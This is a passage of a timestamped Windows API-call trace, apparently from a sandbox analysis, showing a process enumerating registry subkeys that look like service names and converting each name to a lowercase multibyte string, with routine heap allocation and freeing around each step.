RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.281] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0256.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.282] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.283] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.283] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.283] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0256.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.284] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.284] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.284] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.284] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.284] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.284] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.285] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.285] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.285] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0256.285] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.285] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.285] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.286] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.286] RegEnumKeyW (in: hKey=0x148, 